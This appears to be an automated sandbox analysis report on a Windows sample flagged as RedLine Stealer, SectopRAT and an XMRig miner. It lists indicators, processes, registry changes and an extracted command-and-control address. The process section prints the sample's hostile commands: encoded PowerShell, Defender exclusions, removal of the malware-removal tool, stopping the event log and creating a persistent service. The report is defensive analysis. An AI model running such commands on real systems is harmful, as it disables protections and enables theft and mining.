Analysis
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max time kernel
149s -
max time network
140s -
platform
windows10-2004_x64 -
resource
win10v2004-20240226-en -
resource tags
arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system -
submitted
28-03-2024 22:11
Static task
static1
Behavioral task
behavioral1
Sample
6f10a5ac32b9f8b590199dd88c976057d19a6215224aafe45270dd3154d4b957.exe
Resource
win10v2004-20240226-en
General
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Target
6f10a5ac32b9f8b590199dd88c976057d19a6215224aafe45270dd3154d4b957.exe
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Size
2.6MB
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MD5
55e393da1714013720ddf266c7906f43
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SHA1
91a636913604184c010c2d9e0b331a804a2c0ab4
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SHA256
6f10a5ac32b9f8b590199dd88c976057d19a6215224aafe45270dd3154d4b957
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SHA512
40a61e1d461717e45eff3be6b22561ac39c2ef1af39b46f7d149fe823d14a06bb99605a78e794d6447ece43ce6b4854192e47ad993ed4a2e78479bc7e155fe8a
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SSDEEP
49152:VvONaX/Lpt/IvKfeF4tIDpdIA/gvCRtDKYZ8NfBcPQSqzULJgxl6Y4KB7KkP3C+Y:VGNajwvKfpyMdvCRNZZ8NJcPQSEU9Q6z
Malware Config
Extracted
redline
tg
163.5.112.53:51523
Signatures
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RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
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RedLine payload 2 IoCs
Processes:
resource yara_rule C:\Users\Admin\AppData\Roaming\b.exe family_redline behavioral1/memory/3220-21-0x0000000000D40000-0x0000000000D5E000-memory.dmp family_redline -
SectopRAT payload 2 IoCs
Processes:
resource yara_rule C:\Users\Admin\AppData\Roaming\b.exe family_sectoprat behavioral1/memory/3220-21-0x0000000000D40000-0x0000000000D5E000-memory.dmp family_sectoprat -
XMRig Miner payload 13 IoCs
Processes:
resource yara_rule behavioral1/memory/4568-161-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/4568-162-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/4568-164-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/4568-166-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/4568-165-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/4568-167-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/4568-168-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/4568-169-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/4568-170-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/4568-172-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/4568-173-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/4568-174-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/4568-175-0x0000000140000000-0x0000000140848000-memory.dmp xmrig -
Creates new service(s) 1 TTPs
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Stops running service(s) 3 TTPs
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Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
6f10a5ac32b9f8b590199dd88c976057d19a6215224aafe45270dd3154d4b957.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\Control Panel\International\Geo\Nation 6f10a5ac32b9f8b590199dd88c976057d19a6215224aafe45270dd3154d4b957.exe -
Executes dropped EXE 3 IoCs
Processes:
a.exeb.exewfnmgjmvvtwt.exepid process 4596 a.exe 3220 b.exe 4100 wfnmgjmvvtwt.exe -
Processes:
resource yara_rule behavioral1/memory/4568-156-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/4568-157-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/4568-159-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/4568-160-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/4568-158-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/4568-161-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/4568-162-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/4568-164-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/4568-166-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/4568-165-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/4568-167-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/4568-168-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/4568-169-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/4568-170-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/4568-172-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/4568-173-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/4568-174-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/4568-175-0x0000000140000000-0x0000000140848000-memory.dmp upx -
Drops file in System32 directory 4 IoCs
Processes:
powershell.exewfnmgjmvvtwt.exea.exedescription ioc process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\system32\MRT.exe wfnmgjmvvtwt.exe File opened for modification C:\Windows\system32\MRT.exe a.exe -
Suspicious use of SetThreadContext 2 IoCs
Processes:
wfnmgjmvvtwt.exedescription pid process target process PID 4100 set thread context of 3536 4100 wfnmgjmvvtwt.exe conhost.exe PID 4100 set thread context of 4568 4100 wfnmgjmvvtwt.exe conhost.exe -
Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.
Processes:
sc.exesc.exesc.exesc.exepid process 900 sc.exe 3764 sc.exe 2900 sc.exe 2728 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Modifies data under HKEY_USERS 46 IoCs
Processes:
powershell.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
powershell.exepowershell.exea.exepowershell.exewfnmgjmvvtwt.exepowershell.execonhost.exepid process 4492 powershell.exe 1108 powershell.exe 4492 powershell.exe 1108 powershell.exe 4596 a.exe 2352 powershell.exe 2352 powershell.exe 2352 powershell.exe 4596 a.exe 4596 a.exe 4596 a.exe 4596 a.exe 4596 a.exe 4100 wfnmgjmvvtwt.exe 5032 powershell.exe 5032 powershell.exe 5032 powershell.exe 4100 wfnmgjmvvtwt.exe 4100 wfnmgjmvvtwt.exe 4100 wfnmgjmvvtwt.exe 4568 conhost.exe 4568 conhost.exe 4568 conhost.exe 4568 conhost.exe 4568 conhost.exe 4568 conhost.exe 4568 conhost.exe 4568 conhost.exe 4568 conhost.exe 4568 conhost.exe 4568 conhost.exe 4568 conhost.exe 4568 conhost.exe 4568 conhost.exe 4568 conhost.exe 4568 conhost.exe 4568 conhost.exe 4568 conhost.exe 4568 conhost.exe 4568 conhost.exe 4568 conhost.exe 4568 conhost.exe 4568 conhost.exe 4568 conhost.exe 4568 conhost.exe 4568 conhost.exe 4568 conhost.exe 4568 conhost.exe 4568 conhost.exe 4568 conhost.exe 4568 conhost.exe 4568 conhost.exe 4568 conhost.exe 4568 conhost.exe 4568 conhost.exe 4568 conhost.exe 4568 conhost.exe 4568 conhost.exe 4568 conhost.exe 4568 conhost.exe 4568 conhost.exe 4568 conhost.exe 4568 conhost.exe 4568 conhost.exe -
Suspicious use of AdjustPrivilegeToken 6 IoCs
Processes:
powershell.exepowershell.exeb.exepowershell.exepowershell.execonhost.exedescription pid process Token: SeDebugPrivilege 1108 powershell.exe Token: SeDebugPrivilege 4492 powershell.exe Token: SeDebugPrivilege 3220 b.exe Token: SeDebugPrivilege 2352 powershell.exe Token: SeDebugPrivilege 5032 powershell.exe Token: SeLockMemoryPrivilege 4568 conhost.exe -
Suspicious use of WriteProcessMemory 29 IoCs
Processes:
6f10a5ac32b9f8b590199dd88c976057d19a6215224aafe45270dd3154d4b957.execmd.exewfnmgjmvvtwt.execmd.exedescription pid process target process PID 2008 wrote to memory of 1108 2008 6f10a5ac32b9f8b590199dd88c976057d19a6215224aafe45270dd3154d4b957.exe powershell.exe PID 2008 wrote to memory of 1108 2008 6f10a5ac32b9f8b590199dd88c976057d19a6215224aafe45270dd3154d4b957.exe powershell.exe PID 2008 wrote to memory of 1108 2008 6f10a5ac32b9f8b590199dd88c976057d19a6215224aafe45270dd3154d4b957.exe powershell.exe PID 2008 wrote to memory of 4492 2008 6f10a5ac32b9f8b590199dd88c976057d19a6215224aafe45270dd3154d4b957.exe powershell.exe PID 2008 wrote to memory of 4492 2008 6f10a5ac32b9f8b590199dd88c976057d19a6215224aafe45270dd3154d4b957.exe powershell.exe PID 2008 wrote to memory of 4492 2008 6f10a5ac32b9f8b590199dd88c976057d19a6215224aafe45270dd3154d4b957.exe powershell.exe PID 2008 wrote to memory of 4596 2008 6f10a5ac32b9f8b590199dd88c976057d19a6215224aafe45270dd3154d4b957.exe a.exe PID 2008 wrote to memory of 4596 2008 6f10a5ac32b9f8b590199dd88c976057d19a6215224aafe45270dd3154d4b957.exe a.exe PID 2008 wrote to memory of 3220 2008 6f10a5ac32b9f8b590199dd88c976057d19a6215224aafe45270dd3154d4b957.exe b.exe PID 2008 wrote to memory of 3220 2008 6f10a5ac32b9f8b590199dd88c976057d19a6215224aafe45270dd3154d4b957.exe b.exe PID 2008 wrote to memory of 3220 2008 6f10a5ac32b9f8b590199dd88c976057d19a6215224aafe45270dd3154d4b957.exe b.exe PID 2764 wrote to memory of 3588 2764 cmd.exe wusa.exe PID 2764 wrote to memory of 3588 2764 cmd.exe wusa.exe PID 4100 wrote to memory of 3536 4100 wfnmgjmvvtwt.exe conhost.exe PID 4100 wrote to memory of 3536 4100 wfnmgjmvvtwt.exe conhost.exe PID 4100 wrote to memory of 3536 4100 wfnmgjmvvtwt.exe conhost.exe PID 4100 wrote to memory of 3536 4100 wfnmgjmvvtwt.exe conhost.exe PID 4100 wrote to memory of 3536 4100 wfnmgjmvvtwt.exe conhost.exe PID 4100 wrote to memory of 3536 4100 wfnmgjmvvtwt.exe conhost.exe PID 4100 wrote to memory of 3536 4100 wfnmgjmvvtwt.exe conhost.exe PID 4100 wrote to memory of 3536 4100 wfnmgjmvvtwt.exe conhost.exe PID 1816 wrote to memory of 5116 1816 cmd.exe wusa.exe PID 1816 wrote to memory of 5116 1816 cmd.exe wusa.exe PID 4100 wrote to memory of 3536 4100 wfnmgjmvvtwt.exe conhost.exe PID 4100 wrote to memory of 4568 4100 wfnmgjmvvtwt.exe conhost.exe PID 4100 wrote to memory of 4568 4100 wfnmgjmvvtwt.exe conhost.exe PID 4100 wrote to memory of 4568 4100 wfnmgjmvvtwt.exe conhost.exe PID 4100 wrote to memory of 4568 4100 wfnmgjmvvtwt.exe conhost.exe PID 4100 wrote to memory of 4568 4100 wfnmgjmvvtwt.exe conhost.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\6f10a5ac32b9f8b590199dd88c976057d19a6215224aafe45270dd3154d4b957.exe"C:\Users\Admin\AppData\Local\Temp\6f10a5ac32b9f8b590199dd88c976057d19a6215224aafe45270dd3154d4b957.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHYAdABpACMAPgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAGsAcABhACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcAVABoAGkAcwAgAGMAbwBtAHAAdQB0AGUAcgAgAGkAcwAgAG4AbwB0ACAAcwB1AHAAcABvAHIAdABlAGQALAAgAHAAbABlAGEAcwBlACAAdAByAHkAIABhAGcAYQBpAG4AIABvAG4AIABhAG4AbwB0AGgAZQByACcALAAnACcALAAnAE8ASwAnACwAJwBFAHIAcgBvAHIAJwApADwAIwB5AGMAYQAjAD4A"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGYAbABmACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAagBiACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHkAYwBzACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAcAB5ACMAPgA="2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Roaming\a.exe"C:\Users\Admin\AppData\Roaming\a.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
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C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart4⤵
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "TDFIYZSJ"3⤵
- Launches sc.exe
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "TDFIYZSJ" binpath= "C:\ProgramData\tcxbtjpidyhi\wfnmgjmvvtwt.exe" start= "auto"3⤵
- Launches sc.exe
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog3⤵
- Launches sc.exe
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "TDFIYZSJ"3⤵
- Launches sc.exe
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C:\Users\Admin\AppData\Roaming\b.exe"C:\Users\Admin\AppData\Roaming\b.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
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C:\ProgramData\tcxbtjpidyhi\wfnmgjmvvtwt.exeC:\ProgramData\tcxbtjpidyhi\wfnmgjmvvtwt.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
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C:\Windows\system32\conhost.exeC:\Windows\system32\conhost.exe2⤵
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C:\Windows\system32\conhost.execonhost.exe2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.logFilesize
2KB
MD5968cb9309758126772781b83adb8a28f
SHA18da30e71accf186b2ba11da1797cf67f8f78b47c
SHA25692099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a
SHA5124bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3
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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
17KB
MD50be7f288af2cdc23de177d63252d2ede
SHA1214931fe4a628840431fa6c9d587486cbe617f28
SHA256ede82e1c900d19dbbf9b7697b64e7ebcc3adf7793af2045407e47b003d2d8d5b
SHA51237a68914d15b4b69265ae9b696074d81f451bba4cee9d0a56141eede3beabd0626a5acea310e18af6fb8f16f986a27437e6311e40932cf95db71ee55404e407f
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C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dn1qeuhm.it0.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Users\Admin\AppData\Roaming\a.exeFilesize
2.5MB
MD56fd62e635b39a02ba8cac6fc124c9475
SHA1e13080b9cc546e44a9f1c419ba86aeb190a14b2d
SHA25678b9d7e485026278b02a1961999ad99cdfa988fbf4403767db5d10d1473e9870
SHA512e77432582e6abcc0fd86ed997c9c4619bd67a044d33a752e1cf3ceb8008cea27c540949183b80f9dee8a41614cff54afe79c5db294efcb72b27685fcf1010cdc
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C:\Users\Admin\AppData\Roaming\b.exeFilesize
95KB
MD5184ac479b3a878e9ac5535770ca34a2b
SHA11f99039911cc2cfd1a62ce348429ddd0f4435a60
SHA2568e28a0090832a76cf71c417cb1bf7990b9af86be258b732117a47f624387083c
SHA512e0f5185ae890b902ea5325066df23959106712e7990e120a1b9752bbd0331cac968af5ddd6092f75a1c576d4c83f4093dfbf53a2c90870d1c02b31a0e8282bb4
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memory/1108-31-0x0000000004B90000-0x0000000004BF6000-memory.dmpFilesize
408KB
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memory/1108-37-0x00000000054D0000-0x0000000005824000-memory.dmpFilesize
3.3MB
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memory/1108-78-0x0000000006EA0000-0x0000000006F32000-memory.dmpFilesize
584KB
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memory/1108-27-0x00000000045C0000-0x00000000045D0000-memory.dmpFilesize
64KB
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memory/1108-59-0x0000000007110000-0x000000000778A000-memory.dmpFilesize
6.5MB
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memory/1108-18-0x00000000024F0000-0x0000000002526000-memory.dmpFilesize
216KB
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memory/1108-61-0x0000000005FF0000-0x000000000600A000-memory.dmpFilesize
104KB
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memory/1108-30-0x00000000049F0000-0x0000000004A12000-memory.dmpFilesize
136KB
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memory/1108-91-0x0000000073360000-0x0000000073B10000-memory.dmpFilesize
7.7MB
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memory/1108-34-0x00000000045C0000-0x00000000045D0000-memory.dmpFilesize
64KB
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memory/1108-77-0x0000000007D40000-0x00000000082E4000-memory.dmpFilesize
5.6MB
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memory/1108-23-0x0000000073360000-0x0000000073B10000-memory.dmpFilesize
7.7MB
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memory/2352-103-0x00007FFE74ED0000-0x00007FFE75991000-memory.dmpFilesize
10.8MB
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memory/2352-104-0x0000013DEFFC0000-0x0000013DEFFD0000-memory.dmpFilesize
64KB
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memory/2352-108-0x00007FFE74ED0000-0x00007FFE75991000-memory.dmpFilesize
10.8MB
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memory/2352-105-0x0000013DEFFC0000-0x0000013DEFFD0000-memory.dmpFilesize
64KB
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memory/2352-101-0x0000013DEFED0000-0x0000013DEFEF2000-memory.dmpFilesize
136KB
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memory/3220-24-0x0000000005C40000-0x0000000006258000-memory.dmpFilesize
6.1MB
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memory/3220-56-0x00000000058D0000-0x00000000059DA000-memory.dmpFilesize
1.0MB
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memory/3220-35-0x0000000005610000-0x0000000005620000-memory.dmpFilesize
64KB
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memory/3220-29-0x0000000005660000-0x000000000569C000-memory.dmpFilesize
240KB
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memory/3220-21-0x0000000000D40000-0x0000000000D5E000-memory.dmpFilesize
120KB
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memory/3220-36-0x00000000056A0000-0x00000000056EC000-memory.dmpFilesize
304KB
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memory/3220-32-0x0000000073360000-0x0000000073B10000-memory.dmpFilesize
7.7MB
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memory/3220-26-0x00000000055C0000-0x00000000055D2000-memory.dmpFilesize
72KB
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memory/3220-121-0x0000000073360000-0x0000000073B10000-memory.dmpFilesize
7.7MB
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memory/3536-150-0x0000000140000000-0x000000014000E000-memory.dmpFilesize
56KB
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memory/3536-149-0x0000000140000000-0x000000014000E000-memory.dmpFilesize
56KB
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memory/3536-148-0x0000000140000000-0x000000014000E000-memory.dmpFilesize
56KB
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memory/3536-152-0x0000000140000000-0x000000014000E000-memory.dmpFilesize
56KB
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memory/3536-151-0x0000000140000000-0x000000014000E000-memory.dmpFilesize
56KB
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memory/3536-155-0x0000000140000000-0x000000014000E000-memory.dmpFilesize
56KB
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memory/4492-62-0x00000000748D0000-0x000000007491C000-memory.dmpFilesize
304KB
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memory/4492-33-0x00000000061F0000-0x0000000006256000-memory.dmpFilesize
408KB
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memory/4492-82-0x0000000007DA0000-0x0000000007DB4000-memory.dmpFilesize
80KB
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memory/4492-83-0x0000000007E80000-0x0000000007E9A000-memory.dmpFilesize
104KB
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memory/4492-84-0x0000000007DD0000-0x0000000007DD8000-memory.dmpFilesize
32KB
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memory/4492-87-0x0000000073360000-0x0000000073B10000-memory.dmpFilesize
7.7MB
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memory/4492-72-0x0000000006E60000-0x0000000006E7E000-memory.dmpFilesize
120KB
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memory/4492-80-0x0000000007D50000-0x0000000007D61000-memory.dmpFilesize
68KB
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memory/4492-60-0x000000007F870000-0x000000007F880000-memory.dmpFilesize
64KB
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memory/4492-58-0x0000000006DF0000-0x0000000006E22000-memory.dmpFilesize
200KB
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memory/4492-57-0x0000000006830000-0x000000000684E000-memory.dmpFilesize
120KB
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memory/4492-81-0x0000000007D90000-0x0000000007D9E000-memory.dmpFilesize
56KB
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memory/4492-28-0x00000000053A0000-0x00000000053B0000-memory.dmpFilesize
64KB
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memory/4492-25-0x00000000053A0000-0x00000000053B0000-memory.dmpFilesize
64KB
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memory/4492-22-0x00000000059E0000-0x0000000006008000-memory.dmpFilesize
6.2MB
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memory/4492-73-0x00000000053A0000-0x00000000053B0000-memory.dmpFilesize
64KB
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memory/4492-79-0x0000000007DE0000-0x0000000007E76000-memory.dmpFilesize
600KB
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memory/4492-74-0x0000000007820000-0x00000000078C3000-memory.dmpFilesize
652KB
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memory/4492-75-0x00000000053A0000-0x00000000053B0000-memory.dmpFilesize
64KB
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memory/4492-20-0x0000000073360000-0x0000000073B10000-memory.dmpFilesize
7.7MB
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memory/4492-76-0x0000000007BD0000-0x0000000007BDA000-memory.dmpFilesize
40KB
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memory/4568-158-0x0000000140000000-0x0000000140848000-memory.dmpFilesize
8.3MB
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memory/4568-165-0x0000000140000000-0x0000000140848000-memory.dmpFilesize
8.3MB
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memory/4568-176-0x0000024990D80000-0x0000024990DA0000-memory.dmpFilesize
128KB
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memory/4568-175-0x0000000140000000-0x0000000140848000-memory.dmpFilesize
8.3MB
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memory/4568-174-0x0000000140000000-0x0000000140848000-memory.dmpFilesize
8.3MB
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memory/4568-173-0x0000000140000000-0x0000000140848000-memory.dmpFilesize
8.3MB
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memory/4568-172-0x0000000140000000-0x0000000140848000-memory.dmpFilesize
8.3MB
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memory/4568-171-0x0000024990D60000-0x0000024990D80000-memory.dmpFilesize
128KB
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memory/4568-170-0x0000000140000000-0x0000000140848000-memory.dmpFilesize
8.3MB
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memory/4568-169-0x0000000140000000-0x0000000140848000-memory.dmpFilesize
8.3MB
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memory/4568-168-0x0000000140000000-0x0000000140848000-memory.dmpFilesize
8.3MB
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memory/4568-167-0x0000000140000000-0x0000000140848000-memory.dmpFilesize
8.3MB
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memory/4568-166-0x0000000140000000-0x0000000140848000-memory.dmpFilesize
8.3MB
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memory/4568-164-0x0000000140000000-0x0000000140848000-memory.dmpFilesize
8.3MB
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memory/4568-156-0x0000000140000000-0x0000000140848000-memory.dmpFilesize
8.3MB
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memory/4568-157-0x0000000140000000-0x0000000140848000-memory.dmpFilesize
8.3MB
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memory/4568-163-0x0000024990840000-0x0000024990860000-memory.dmpFilesize
128KB
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memory/4568-159-0x0000000140000000-0x0000000140848000-memory.dmpFilesize
